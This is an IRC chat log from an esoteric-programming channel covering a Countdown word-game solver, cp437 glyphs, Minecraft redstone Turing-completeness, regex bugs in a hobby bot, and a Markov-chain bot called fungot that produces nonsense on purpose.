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14:16:33 <HackEgo> regxcoin interticoin autocoin raincoin aackvmcoin drainmenticoin uftercoin godlcoin verglycumcoin ()coin vowelcoin aultlcoin modyngcoin stropologcoin filmeiocoin cancoin mabadcoin whocoin ccxxvicoin eassusquash-01coin
14:16:34 <b_jonas> in fact, I have those pictures in the control and high control characters of my bitmap font
14:16:40 <Jafet> Knowing shachaf, he wants visible glyphs for formfeeds as well
14:16:51 <b_jonas> Jafet: yes, cp437 has one for that too
14:17:01 <fizzie> It doesn't have a visible glyph for space.
14:17:24 <fizzie> (I don't know if one was desired.)
14:17:30 <b_jonas> Jafet: basically, cp437 was not mainly intended as a text encoding, but as a hardwired encoding for the characters in the video card text mode
14:17:49 <b_jonas> fizzie: yes, it has three identical space characters (0x00, 0x20, 0xff)
14:17:54 <Jafet> I mostly know it as the df2 default font.
14:17:56 <b_jonas> but apart from that it's all different glyphs
14:18:00 <Taneb> I have written most of a program that does the letters round from Countdown! (a british game show)
14:19:27 <b_jonas> in my font, for some of the low control characters, I have characters from a different strange character set, not from cp437
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14:19:51 <b_jonas> but half of the low control chars and all of the high control ones do have the cp437 pics
14:20:56 <Taneb> In which one contestant asks for a vowel or a consonant until 9 letters have been chosen, then both try to make as long a word as possible out of them
14:21:44 <b_jonas> Taneb: so what's the performance of the program? does it get a six letter word 50% of time?
14:22:09 <Taneb> I do not know, I have not tested it that rigourously
14:22:20 <Taneb> It seems to get a six letter word > 50% of the time
14:22:31 <b_jonas> can you get duplicate letters?
14:22:57 <Taneb> It's roughly the letter frequencies in standard english (UK) usage
14:22:58 <b_jonas> and what's the distribution of letters? do you get T and R more often than Q and Z?
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14:23:17 <b_jonas> you replied before I asked the question
14:23:26 <Taneb> http://en.wikipedia.org/wiki/Countdown_(game_show)#Letters_round
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14:24:06 <b_jonas> shouldn't it draw from scrabble tiles, without repetition?
14:24:31 <Taneb> It can get duplicate letters, not duplicate tiles
14:25:19 <b_jonas> so, like scrabble, it has fewer S because that makes the game more boring because plurals?
14:26:16 <Taneb> This program takes the role of the contestant
14:27:45 <Taneb> b_jonas, can you suggest 9 letters for me to test it?
14:29:27 <b_jonas> (This one is from Boggle which has too many annoying F)
14:31:03 <Taneb> That's the best (6 letters)
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14:31:20 <Taneb> My program also gives "hettie", which suggests I need a better corpus
14:32:11 <Taneb> I think it's a name
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14:34:29 <fizzie> `run words 9 | perl -ne 'chomp; print uc(substr($_, int(rand(length($_))), 1))." " for split;'
14:34:32 <fizzie> `run words 9 | perl -ne 'chomp; print uc(substr($_, int(rand(length($_))), 1))." " for split;'
14:34:43 <fizzie> Distribution should be more or less appropriate.
14:35:00 <myname> the last one seems pretty hard
14:35:13 <b_jonas> Taneb: I recommend 12dicts, see eg. http://wordlist.aspell.net/12dicts-readme/
14:35:27 <Taneb> "sodomy" or "modulo" for the first one
14:35:45 <fizzie> It probably doesn't approximate well the distribution resulting from people being able to select between the revealed vowel or consonant.
14:35:57 <myname> i'd suggest a minimum percentage of vowels
14:36:23 <Taneb> Nothing for the second
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14:40:19 <b_jonas> Taneb: really, check out 12dicts, it's a nice set of useful wordlists compiled methodically and comes with a readme explaining everything
14:44:39 <fizzie> I made one of those out of a trie of the character frequency vector representation. You know, for the word set "aaa", "abb", "abc" and "ccc" it'd have a structure like http://sprunge.us/jOcj
14:45:09 <fizzie> Then you just get the corresponding vector for the input word, and walk through the part of the tree where the nodes are <=.
14:48:13 <fizzie> Probably should collapse out the *:0 nodes by hanging the letter-to-test on each vertex too.
14:51:36 <b_jonas> let's compare your program to fungot!
14:51:37 <fungot> b_jonas: its just decorative lo
14:52:24 <b_jonas> fungot: what's the longest word you can make from this multiset of letters: Y A U M S Q C L L
14:52:24 <fungot> b_jonas: k. i bring the mini project. and course to go.then no nid to use rite
14:56:47 <Taneb> Would I be sent to the asylum for calmly suggesting that fungot is clumsy?
14:56:47 <fungot> Taneb: oh i am here already. outside the soya tha mai q
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15:33:15 <coppro> b_jonas: I can get a couple of sixees. Also when did you find your way over here
15:34:06 <coppro> Taneb: I would have no qualms doing so
15:34:27 <coppro> as long as you don't raise a squall
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15:43:23 <Taneb> b_jonas, updated my corpus (not to 12dict yet) and got a seven (squally)
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16:03:58 <fizzie> "callums", says the Google ngram corpus, among others. But it's not at all limited to real words, so it would.
16:05:02 <fizzie> (All seven-letter unigrams it found were: allysum ascully callums clumsly cmsally mascull mcaully mcsally mulcays musycal scyllam smallyu squally)
16:06:32 <fizzie> It contains all words that appear at least 200 times in a sampling of one trillion words from publicly available web pages.
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16:44:34 <fizzie> I took a flower photo, and these guys "photobombed" it: https://dl.dropboxusercontent.com/u/113389132/Misc/20140831-bug.jpg
16:50:43 <Jafet> You should know that macros invite bugs.
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17:49:16 <Sgeo_> How many times is Minecraft going to be 1.8?
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18:21:14 <Hjulle> Alpha, beta, stable and what?
18:21:55 <Taneb> Alpha only went up to 1.2
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18:22:54 <Taneb> So we are still 2 or 3 1.8s away from 4
18:25:30 <coppro> fizzie: I don't think any of those sevens are real
18:26:19 <fizzie> It's in the OED, it's "real" as per the rules of the game, AIUI.
18:26:28 <Taneb> coppro, I oed'd squally
18:26:51 <fizzie> "squally, adj.2. 1. Characterized by the prevalence of squalls. a. Of places, seasons, etc."
18:27:43 <coppro> many things are in the OED
18:28:06 <Taneb> OED is the corpus used by Countdown, which is the entire point of this excersize
18:28:57 <fizzie> "† ˈsqually, adj.1 Etymology: Of obscure origin. Obs. 1. Of cloth: Defective (in some specific manner). 2. (See quot. 1787.) -- 1787 W. Marshall Provincialisms in Rural Econ. Norfolk II. 389 A crop of turneps, or of corn, which is broken by vacant unproductive patches, is said to be squally."
18:29:02 <Hjulle> How many times is Minecraft 1.8 going to be "feature complete"? (followed by more features being added)
18:29:05 <fizzie> Taneb: You should train on it, then.
18:30:05 <Hjulle> Does minecraft count as an esoteric programming language?
18:30:44 <Hjulle> What is the definition?
18:31:38 <Taneb> I think Minecraft 1.8's redstone mechanism might be turing complete
18:32:13 <fizzie> "Of philosophical doctrines, treatises, modes of speech, etc.: Designed for, or appropriate to, an inner circle of advanced or privileged disciples; communicated to, or intelligible by, the initiated exclusively. Hence of disciples: Belonging to the inner circle, admitted to the esoteric teaching."
18:32:22 <Taneb> b_jonas, redstone is something you can make digital circuitry with in Minecraft
18:32:33 <Hjulle> Taneb: Hasn't redstone been turing complete from the start?
18:32:41 <b_jonas> Taneb: are you sure it's turing-complete as opposed to just pspace-complete?
18:33:15 <pikhq> What's the new mechanism anyways?
18:33:15 <Taneb> b_jonas, prior to 1.8 it's PSPACE-complete only
18:33:22 <Taneb> I think the slime block may fix that
18:33:45 <Taneb> Because you can have an infinite counter mechanism
18:34:21 <pikhq> For *common notions* of "turing complete" Minecraft redstone meets it though...
18:34:36 <Taneb> b_jonas, it is a block that can be pushed in a large structure. Other blocks can only be pushed in a line with max length 12
18:34:57 <pikhq> In that you can quite easily do Turing-complete-modulo-space within it.
18:35:49 <J_Arcane> That reminds me that I wonder what sort of computing projects the Powder Toy folks are up to.
18:36:30 <Hjulle> Why is there no page about Minecraft at the Esolangs Wiki?
18:36:55 <Taneb> Because no-one has made it
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18:37:53 <fizzie> There's a channel about the union of #esoteric and minecraft, but it gets a comment about every three months.
18:39:26 <fizzie> http://sprunge.us/QfLK <- monthly traffic in number of comments.
18:40:15 <Taneb> Anyone want to get a creative server and try to prove 1.8 turing complete?
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18:41:20 <fizzie> Taneb: The wiki claims that "The maximum of 12 blocks moved by a piston still applies. For example, a 2×2×3 collection of Slime Blocks may be pushed or pulled by a sticky piston as long as no other movable blocks are adjacent to it."
18:41:40 <Taneb> fizzie, but you can create something that pushes itself
18:46:25 <fizzie> I'm not sure how that works, but then again, I'm no Minecraft engineer.
18:47:47 <Taneb> There are some details at http://minecraft.gamepedia.com/Slime_block#Motion_by_pistons
18:53:12 <Hjulle> There are flying machines made with the slime blocks.
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18:57:28 <Hjulle> https://www.youtube.com/watch?v=X393TelG0mQ
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19:01:03 <Hjulle> Btw. it is possible to push stuff longer than 12 blocks by using pistons and redstone bocks even without slime blocks.
19:01:41 <Taneb> Hjulle, up to an indefinite distance from a finite starting space?
19:02:25 <Hjulle> With the possible exception of chunks not loading, but as far as I know, yes.
19:03:47 <Hjulle> https://www.youtube.com/watch?v=CkxgJbpHxvI
19:05:23 <TieSoul> wait, are we talking about redstone as an esoteric programming language?
19:05:56 <Hjulle> I think it is pretty esoteric, don't you?
19:06:23 <TieSoul> Tried making a full adder once, kept failing :P
19:06:37 <zzo38> I think that if you can categorize it, give a description of its working, and/or post examples, then it is probably good idea to put into esolang wiki.
19:07:15 <zzo38> Especially if it is Turing complete.
19:08:07 <fizzie> Hjulle: I think (as far as I can tell) that machine has a fixed number of pistons and redstone blocks that it can insert. (Stone it will of course generate indefinitely.)
19:09:15 <TieSoul> also, can it be classified as a particle automaton or as object-oriented, or as neither.
19:09:24 <DootBot> TieSoul: TieSoul actually meant: also, can it be classified as a particle automaton or as object-oriented, or as neither?
19:09:41 <Hjulle> fizzie: Yes. You could use command-blocks to generate the pistons and redstone though. (if you do not see that as cheating)
19:09:46 <TieSoul> I don't think object-oriented really classifies here
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19:10:05 <DootBot> TieSoul: TieSoul actually meant: I don't think object-oriented really applies here
19:11:04 <Hjulle> Isn't the whole point of the s/a/b/ thing _not_ to repeat the message? :P
19:11:34 <DootBot> Hjulle: Hjulle actually meant: Regexp? Isn't the whole point of the s/a/b/ thing _not_ to repeat the message? :P
19:12:13 <DootBot> TieSoul: Hjulle actually meant: Regexp.egexp? Isn't the whole point of the s/a/b/ thing _not_ to repeat the message? :P
19:12:32 <DootBot> Hjulle: Hjulle actually meant: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
19:12:36 <fizzie> I think a hypothetical Minecraft article should cover both "pure" and "cheating" kinds of Minecraft programming.
19:12:50 <DootBot> TieSoul: fizzie actually meant: I Regexp.hink a hypothetical Minecraft article should cover both "pure" and "cheating" kinds of Minecraft programming.
19:13:00 <fizzie> No, I don't think I meant that.
19:13:27 <TieSoul> huh, why doesn't that become IRegexp.think...?
19:13:35 <DootBot> Hjulle: fizzie actually meant: Yes, I don't think I meant that.
19:13:52 <DootBot> Hjulle: fizzie actually meant: Yes, I don't think I meant that.
19:13:59 <DootBot> Hjulle: fizzie actually meant: Yes, I don think I meant that.t think I meant that.
19:14:28 <TieSoul> that's not supposed to happen I think
19:14:33 <DootBot> TieSoul: TieSoul actually meant: that's not supposed to happen I think
19:14:48 <DootBot> TieSoul: TieSoul actually meant: that's supposed to happen I think
19:15:33 <DootBot> TieSoul: TieSoul actually meant:
19:15:35 <fizzie> I don't think you can put ^ in a zero-width look-behind assertion.
19:15:48 <fizzie> It works only for a fixed-width look-behind, anyway.
19:15:57 <DootBot> Hjulle: TieSoul actually meant: well a bug.
19:16:10 <shachaf> Melvar: I think I wanted it for e.g. hexdump output
19:16:30 <shachaf> Melvar: On the right side, not the hexdump side, that is. So the hexdump part is actually completely irrelevant here.
19:17:15 <fizzie> Printing out "."s for nonprintable characters was good enough for our ancestors, it should be good enough for you.
19:17:52 <TieSoul> I use the regex /^s\/.+(?<!\\)\/.*(?<!\\)\/[ig]*([1-9][0-9]*)*[ig]*$$/ for recognizing a s/a/b/ :P
19:18:19 <TieSoul> make that * after the numeric group a ?
19:19:46 <DootBot> fizzie: Regex /\\/-/ not found.
19:20:51 <DootBot> TieSoul: fizzie actually meant: foo-bar
19:21:15 <fizzie> The conventional way of doing "up to next delimiter expect when escaping" is not with a look-behind but with something like ([^/\\]|\\.)*/ or some-such.
19:21:43 <Hjulle> What are you using for applying the regex?
19:22:07 <DootBot> TieSoul: Source: https://gist.github.com/TieSoul/06fe15a20084430a8d12
19:22:21 <TieSoul> some of the stuff in there was not meant for this channel btw :P
19:23:14 <TieSoul> also this is from before I removed the HELLOs and BYEs.
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19:24:36 <fizzie> There are people who feel very negatively to autojoining after a kick.
19:24:56 <fizzie> boily: No, no, it was about something else.
19:25:15 <shachaf> autojoining after *anyone* gets kicked
19:25:17 <DootBot> TieSoul: Source: https://gist.github.com/TieSoul/06fe15a20084430a8d12
19:25:49 <shachaf> a channel has two states, pre-kick and post-kick. after it's grown big enough that someone needs to get kicked, autojoining is discouraged.
19:25:54 <DootBot> shachaf: shachaf actually meant: a channel has two states, pre-kick and post-kick. after it's grown big enough that someone needs to get kicked, autojoining is discouraged.$
19:26:15 <TieSoul> okay there's a tiny bug in there
19:26:49 <fizzie> I think you should possibly make it have channel-specific feature lists.
19:26:51 <DootBot> Hjulle: fizzie actually meant: I think you should possibly make it have channel-specific feature lists.
19:27:24 <TieSoul> hjulle that's not supposed to be recognized :O
19:28:06 <Hjulle> .+ is greedy. It matches any characters.
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19:30:13 <Hjulle> http://stackoverflow.com/questions/172303/is-there-a-regular-expression-to-detect-a-valid-regular-expression
19:31:50 <boily> that's fascinating, but only because it's not happening to me.
19:31:52 <Hjulle> This has a better answer: http://stackoverflow.com/questions/675090/regular-expression-for-finding-a-regular-expression
19:33:23 <Hjulle> Use "/^s\/.*\/.*" to identify and some other method for validating.
19:34:23 <DootBot> Hjulle: Hjulle actually meant: Use "/^s\/.*\/.\*\/" to identify and some other method for validating.
19:34:59 <TieSoul> "Evaluate it in a try..catch or whatever your language provides." best answer
19:35:13 <TieSoul> also there are many bugs in doot's s/// thing
19:35:13 <DootBot> TieSoul: This pours! But two DOOT! slightly duplexbegoat ubers!
19:35:40 <TieSoul> but it works for common purposes
19:35:58 <TieSoul> which is what it's meant for :P
19:36:13 <DootBot> TieSoul: TieSoul actually meant: which is what its meant for :P
19:36:32 <DootBot> TieSoul: TieSoul actually meant: which is what it's meant for :P
19:38:37 <DootBot> Hjulle: TieSoul actually meant: which is what it's meant for :P
19:38:55 <TieSoul> that should not be matched
19:39:33 <fizzie> It's quite noisy to have the corrected version repeated, however.
19:39:35 <TieSoul> which makes for more bugs actually
19:39:36 * boily mapoles TieSoul with a /.
19:39:53 <DootBot> TieSoul: boily actually meant: <CTCP>ACTION mapoles fizzie with a /.<CTCP>
19:40:22 <boily> eille! since when are bots allowed to redirect my mapoling???
19:41:12 <boily> also, no one in their right mind would be mapoling HM Fizzie without dire consequences.
19:41:36 <Hjulle> There is a reason for using s/a/b instead of just retyping the whole sentence. So sadly, I agree with fizzle.
19:41:57 <TieSoul> what should I make it say then? :P
19:42:27 <Hjulle> On the other hand it can be abused for fun. :D
19:42:30 <Taneb> It could requre explicit DootBot: s/foo/bar/
19:42:30 <DootBot> Taneb: Those i over. so, confirm the dongers 2 this something the!
19:42:37 <DootBot> Hjulle: Hjulle actually meant: On the other hand it can be abused for evil. :D
19:43:29 <DootBot> TieSoul: Hjulle actually meant: On the other hand it can be abused for evil, MWAHAHAHA.:D
19:44:10 <Hjulle> Does doot have one-character prefix for calling?
19:44:10 <DootBot> Hjulle: I !source and best hype wonder.
19:44:38 <DootBot> Hjulle: Source: https://gist.github.com/TieSoul/06fe15a20084430a8d12
19:45:23 <DootBot> Hjulle: Hjulle actually meant: On the other hand it can be abused for evil, MWAHAHAHA. :D
19:46:49 <fizzie> Re-execute named subexpression.
19:47:00 <fizzie> $ ruby2.1 -e '/(?<x>\g<x>)/ =~ "x"'
19:47:00 <fizzie> -e:1: never ending recursion: /(?<x>\g<x>)/
19:47:08 <fizzie> I was just curious about how the error'd show up.
19:48:55 <fizzie> It's not a really a neverending recursion.
19:49:54 <TieSoul> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
19:50:02 <TieSoul> s/a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/b/
19:51:13 <Hjulle> How many combinations was that?
19:51:50 <fizzie> You can write it as (a?){32}a{32} with less work.
19:51:56 -!- Phantom__Hoover has joined.
19:52:16 <fizzie> Or however many there were, I didn't count.
19:54:14 -!- TieSoul has changed nick to Leonys.
19:54:59 -!- Leonys has changed nick to TieSoul.
19:55:13 <TieSoul> sorry there was a thing in another channel
19:55:31 <TieSoul> with a bot who needed Leonys AND itself to be OP'd for a command to work for some reason
19:55:41 <TieSoul> so I changed my nick to Leonys and it worked :P
19:57:27 <TieSoul> and the command kicks anyone who uses it xD
20:01:30 <DootBot> Hjulle: TieSoul actually meant: #{m.user.nick}nd the command kicks anyone who uses it xD
20:07:16 <Hjulle> I'd probably replace .+(?<!\\) with ([^\/]|\\\/)+ (and use another delimiter than / if possible)
20:07:57 -!- shikhin has quit (Ping timeout: 240 seconds).
20:08:11 <fizzie> Hjulle: That doesn't match any other escapes than \/.
20:09:16 <Hjulle> What else is needed? I guess \
20:09:27 <fizzie> All kinds of things. Like "\d".
20:10:11 <fizzie> Or is that covered by the [^/] part, hmm.
20:10:12 -!- shikhin has joined.
20:10:16 <Hjulle> oh, I'm stupid. of course
20:10:40 <fizzie> The way I've usually seen it is ([^/\\]|\\.)* or some approximation thereof.
20:11:03 <Hjulle> \ needs to be exluded in the first part to prevent missmatching \s
20:11:44 <DootBot> Hjulle: Regex /\\/"\\"/ not found.
20:11:57 <DootBot> Hjulle: Regex /\\/"\"/ not found.
20:15:49 -!- TieSoul has changed nick to TieSoul-AWAAAY.
20:15:54 <DootBot> Hjulle: Hjulle actually meant: \needs to be exluded in the first part to prevent missmatching \s
20:16:17 -!- impomatic_ has joined.
20:16:34 <DootBot> TieSoul-AWAAAY: Hjulle actually meant: \ ende sotb exeuled dnit ehf ritsp ra totp erevtnm simstahcni gs\
20:17:05 <zzo38> What is the best way I can do string suffix optimization?
20:17:21 <DootBot> TieSoul-AWAAAY: zzo38 actually meant: hWtai sht eebtsw yaI c nad otsirgns fuif xpoitimazitno?
20:25:42 <fizzie> If you mean the kind of thing C compilers do to string literals, a reversed-string trie sounds like one natural solution.
20:26:25 <Hjulle> zzo38: Why are you asking that question here?
20:26:28 <zzo38> fizzie: Something similar to that, yes, for example if strings are "hello world" and "world". However, it is somewhat more complicated that that because it is Z-machine text packing.
20:26:37 <zzo38> Hjulle: Because I don't know!
20:27:32 <DootBot> Hjulle: Hjulle actually meant: zzo38: Why are you asking that question _here_?
20:27:52 <zzo38> Because I don't know what else to ask such question. I did try on other thing too but still I don't know
20:27:56 <fizzie> Well, I don't know anything about Z-machine text packing. But if you add all strings one by one in the reverse-string trie, you can then store only the leaf nodes, and the existing non-leaf nodes can be pointers to an arbitrary descendant leaf.
20:28:58 <fizzie> Hjulle: We're not so strict about staying on topic; see e.g. 98% of the stuff that goes on here. (A number of people do lament this.)
20:29:05 <zzo38> When doing Z-machine text packing, one consideration is that for example if two strings are "It broke and now it doesn't work!" and "It doesn't work!" then it can be considered as a suffix even though it isn't. (This involves adding fives to the end of the prefix and a four to the beginning of the suffix.)
20:29:31 <Hjulle> fizzie: Of course, I was just curious.
20:34:36 <Hjulle> When will the results of the brainfuck survey be public
20:34:54 <DootBot> Hjulle: Hjulle actually meant: When will the results of the brainfuck survey be public?
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20:42:02 <boily> what goes? why so the frowny face?
20:45:11 <quintopia> because someone had pinged me and i wasn't around
20:45:20 -!- Daan has joined.
20:45:29 <quintopia> i was going to invite you to play chess yesterday
20:45:57 <quintopia> don't know if it'll work on my phone
20:46:00 <boily> nooooooooooooooo :(
20:46:11 <boily> are all Sundays unchessable?
20:46:35 <Taneb> I should play chess more
20:47:01 -!- not^v has joined.
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20:47:39 <boily> quintopia: I haven't found any good yet, even on the xiangqi and shōgi end of the thing.
20:48:00 <coppro> https://play.google.com/store/apps/details?id=pl.mg6.yafi
20:48:18 <boily> (except a not that bad one of dōbutsu shōgi. it even has the original art!)
20:48:47 <Taneb> I went to my uni's chess club once or twice last year. I'll make an effort to go more often this year, I think
20:49:39 <Daan> Hello, I'm on codegolf.stackexchange, and they mention a brainfuck variant call brainflow. I see no mention of it on the esoteric wiki. Is it possible that it hasn't been documented yet?
20:49:59 <HackEgo> brainfuck is the integral of the family of terrible esolangs.
20:50:15 <Daan> I wont deny that Hackego.
20:50:44 <fizzie> A "brainflow" has not been mentioned on the channel.
20:50:46 <b_jonas> quite possible. there's too many esoteric languages existing to be all documented
20:51:04 <Taneb> Is the antiderivative always the integral?
20:51:08 <quintopia> there are several godawful esolangs that do not in any way resemble bf
20:51:31 <Daan> True, it just seems weird that one is well known enough to be asked to code golf, but is not on the wiki.
20:51:37 <b_jonas> I think there might be more esoteric languages than fit in a set, so most of them can't even be named by strings uniquely and as such can't have a page on our wiki.
20:51:55 <Taneb> Or is there some number system with well-defined, sensible derivatives and integrals that are unrelated
20:52:27 <quintopia> b_jonas: while true, it remains that any esolang which has ever had a reasonably functional program written in it seems to have a name
20:52:29 <b_jonas> Or if not yet, someone will probably invent a large class of esoteric languages like that.
20:52:30 <coppro> http://codegolf.stackexchange.com/questions/36995/brainflow-interpreter
20:52:47 <fizzie> Some of those features seem vaguely familiar.
20:52:53 <Bike> Taneb: antiderivative and integral aren't the same normally. what do you mean exactly
20:53:04 <Taneb> I dunno, I'm confused
20:53:07 <coppro> basically brainfuck with addressing
20:53:29 <b_jonas> Am I too far from the truth?
20:54:12 <Bike> e.g. you can compute integrals without going through the antiderivative, like with http://en.wikipedia.org/wiki/Gaussian_integral
20:54:23 <Bike> though it usually only comes up if the antiderivative is unelementary and thus a pain in the ass
20:54:28 <boily> is there an esolang fixed point?
20:55:27 <quintopia> today has been lonely but somewhat entertaining
20:55:48 <J_Arcane> I've been doing Project Euler problems all day.
20:55:54 <Bike> or, i mean, you can just do the riemann sum bullshit, or lebesgue probably
20:56:03 <coppro> J_Arcane: what about applescript?
20:56:11 <J_Arcane> Does HyperTalk/AppleScript count as an esolang?
20:56:12 <boily> quintopia: no idea. fixed points still scare the fungot out of me.
20:56:12 <fungot> boily: i only free on for bible coordinators to come to church. pls tel romesh too. and that if should pls send me a mail to them. praise the righteous lord of the rings. u know abt wat new phone so i lost
20:56:29 <boily> fungot: I will tell romesh about bible coördinators.
20:56:29 <fungot> boily: ya i hav got one downloading the full match started.india for 2. got to order of phoenix... got den buy.
20:56:46 <coppro> quintopia: \bot is the worst
20:57:09 <coppro> quintopia: link to what?
20:57:42 <fizzie> "praise the righteous lord of the rings" is a good one.
20:58:24 * boily mysteriously disappears...
20:58:30 -!- boily has quit (Quit: PERSIAN CHICKEN).
20:58:44 <coppro> fizzie: is fungot's chain first-order?
20:58:44 <fungot> coppro: one senioq akka, dos in our lab a room dinusha as wel. i am hapy2 hear ur voice. i so had awoonderful time with ur parents!everysecond spent wif u is so happyfying!
20:59:25 -!- drdanmaku has joined.
20:59:34 <fizzie> coppro: It's https://github.com/vsiivola/variKN
20:59:40 <fizzie> coppro: Kneser-Ney smoothed variable-order.
20:59:40 <zzo38> Do you have example of such a suffix optimization so that I can see how it is working?
20:59:55 <Bike> Taneb: there's also weird bullshit like http://en.wikipedia.org/wiki/Arithmetic_derivative
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21:27:26 <fizzie> zzo38: I checked how libbfd does it (it's a part of binutils, and seems to be the piece of code responsible for merging string literal suffixes), and it's done by sorting the array of string constants with a reversed-string compare operation, and then walks the array backwards and tries to merge neighbor entries. You can see it in action at ...
21:27:31 <fizzie> ... https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=blob;f=bfd/merge.c (look for is_suffix and merge_strings) but the details are somewhat obscured by their hash table stuff.
21:27:39 <fizzie> The same file takes care of general merging of identical sections.
21:29:42 <fizzie> Can't say offhand how that compares to my reverse-string trie idea. The sorting of the array is clearly O(n log n) in terms of comparisons, the trie might be asymptotically better but not in practice.
21:30:22 <shachaf> Bike: what do you think of adjointness
21:32:06 -!- Phantom__Hoover has joined.
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21:42:44 -!- Guest98157 has joined.
21:43:28 <Guest98157> I'm just here because I was curious about fungot
21:43:28 <fungot> Guest98157: no. i.ll come see
21:44:19 <Taneb> fungot, what do you make of Guest98157
21:44:19 <fungot> Taneb: ur frnds only na. plz. plz. plz. plz. plz. your number shows out of coveragd area? thanks, min
21:44:27 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms* speeches ss wp youtube
21:44:46 <fungot> Selected style: iwcs (Irregular Webcomic scripts)
21:44:56 <Taneb> fungot, what did you mean by that?
21:44:56 <fungot> Taneb: i should probably forget alchemy. that's the primary dad, the luftwaffe und die panzer divisions are meeting resistance, mein fhrer, i am! oh, damn, the orichalcum just isn't it? we're just clever.
21:45:08 <Guest98157> They're markov chains from different areas of the internet, then?
21:45:19 <fungot> Selected style: europarl (European Parliament speeches during approx. 1996-2006)
21:45:29 <Taneb> fungot, how just clever are you?
21:45:30 <fungot> Taneb: mr president, censorship is prohibited by law in the biotechnology sector seems to us to be faithful to the spirit of collaboration with the european union will continue to impress on mr harbour and i should like to begin by saying that the council should pursue in dialogue with us, changed its proposal and adopts the one tabled by mr ribeiro e castro, whom i will not go into the details of how this should be achieved by
21:45:39 <Taneb> Some are from offline
21:45:40 <fizzie> Guest98157: Technically, they're variable-length n-gram models built with https://github.com/vsiivola/variKN
21:46:01 <fungot> Selected style: ss (Shakespeare's writings)
21:46:17 <Taneb> fungot, how should this be achieved
21:46:17 <fungot> Taneb: thrasimachus. see, see, a book of all that hear me, fnord, lives sweetly where she dies
21:46:25 <fizzie> (How does one even hear about fungot without being here?)
21:46:26 <fungot> fizzie: amadine. and lived so long unknown? with watch and ward each passage is beset, so that in this vniust diuorce of vs, may serue so great a thing should i haue wish'd a thing, it had beene any fnord childe: a parted eu'n iust betweene twelue and one) you may say what sights you see; i see things may serue long, but sodaine stormes are short, he tyres betimes, that afterwards wee may digest our complots in some form. exeun
21:46:44 <fizzie> Not all of the models are terribly good in what they do, to be honest.
21:47:13 <fungot> Selected style: youtube (Some YouTube comments)
21:47:24 <Guest98157> I assume you're going to be very annoying now, fungot
21:47:24 <fungot> Guest98157: a lot of shit. ooooooh the 130 passengers on board
21:47:35 <fungot> Selected style: c64 (C64 programming material)
21:47:38 <fizzie> That's from, like, three videos, so don't expect too much.
21:47:45 <J_Arcane> fungot: What is your favorite game?
21:47:45 <fungot> J_Arcane: a given filter input signal, bit mapped mode ( see string operations). it can be displayed on the screen configuration of the commodore 64 basic.
21:47:49 <Taneb> Guest98157, I've been telling a few people about it, but I don't think I'm that friend
21:47:54 <fizzie> And the C64 stuff isn't very well line-joined.
21:48:15 <fizzie> fungot: That doesn't sound like any particular game to me.
21:48:16 <fungot> fizzie: the great thing about your commodore 64. they are de-allocated by the sprite-back- ground priority register located at one address in that case.
21:48:17 <J_Arcane> Or at least "sense," within the domain of 1980s programming documentation.
21:48:27 <fizzie> Yeah, I agree, that's the one great thing.
21:48:44 <J_Arcane> Amusingly, this also reminds me of why I want to do the Lambda64 project. XD
21:49:06 <fungot> 011010011001011010010110011010011001011001101001011010011001011010010110011010010110100110010110011010011001011010010110011010011001011001101001011010011001011001101001100101101001011001101001011010011001011010010110011010011001011001101001011010011001011010010110011010010110100110010110011010011001011010010110011010010110 ...too much output!
21:50:47 <fungot> https://github.com/fis/fungot/blob/master/fungot.b98
21:51:05 <fizzie> I think we've just about exhausted all its features.
21:52:04 <fizzie> It's a hardcoded command, because neither the ^bf nor the ^ul can (or at least should be able to) do anything non-deterministic.
21:52:36 <fizzie> Though maybe an "^8ball your question here" kind of thing could be written with brainfuck, with the result based on a hash of the input.
21:53:14 <fizzie> It's also an idea that sounds so familiar, I can't be sure if I (or someone else) already did it.
21:53:17 <fungot> echo reverb rev rot13 rev2 fib wc ul cho choo pow2 source help hw srmlebac uenlsbcmra scramble unscramble asc ord prefixes tmp test celebrate wiki chr ha rainbow rainbow2 welcome me tell eval elikoski list ping def a thanks tmp2
21:53:30 <fizzie> Well, none of those seem quite relevant.
21:54:38 -!- oerjan has joined.
21:55:00 <Guest98157> Right now I'm trying to make something in Python... converts strings of BF with variables in them to the proper amount of arrows to take the pointer to the given variable
21:55:40 <fungot> >>,[>,]<[<]>[.>>]<[>>]<2[.<2]
21:56:34 <fizzie> Heh, that dates from before the bugfix, it has non-run-length-encoded ">>" but a correct "<2".
21:56:40 <oerjan> i don't think that eval works
21:57:06 <oerjan> (it's underload, not bf, but still doesn't work)
21:57:08 <Guest98157> I really need to make a wiki account for the esolangs wiki
21:58:00 <fizzie> Sadly, there's no ^undef command (still on the TODO list), so we're stuck with all the cruft that has accumulated over the years.
21:58:01 <oerjan> underload doesn't really take input, so nothing like the ! convention for bf exists
21:58:23 <oerjan> fizzie: you _could_ edit the file by hand, no?
21:59:02 <oerjan> also, i thought the cruft was somewhat limited by only being saved if you ^save before the next crash
21:59:10 <fizzie> oerjan: Yes to both, I guess.
21:59:22 <oerjan> and ^srmlebac is _not_ cruft hth
21:59:58 <fizzie> ^def srmlebac bf >>,[>,]<[<]>[.>>]<[>>]<<[.<<]
22:00:01 <fungot> >2,[>,]<[<]>[.>2]<[>2]<2[.<2]
22:00:10 <fizzie> Let's optimize it if it's so vital, then.
22:00:18 -!- Ando has quit (Remote host closed the connection).
22:00:52 <fizzie> ">2" is a single instruction in the intermediate bytecode; ">>" would have been two.
22:01:20 <fizzie> Now you can srmlebac longer strings. Assuming it runs out of time in anything that fits inside an IRC message, which is doubtful.
22:01:24 <oerjan> oh there was a bug in the parsing before?
22:01:51 <fizzie> Yes, the code that combined consecutive commands didn't work for >, only <+-.
22:02:49 <fizzie> I think the fix is part of https://github.com/fis/fungot/commit/1025e3b
22:02:49 <fungot> fizzie: each peripheral device. when timeouts are enabled. when set to 1.
22:02:54 <oerjan> hm where does ^def put the command if it's already defined?
22:03:05 <fizzie> oerjan: It replaces the old one.
22:03:13 -!- Daan has joined.
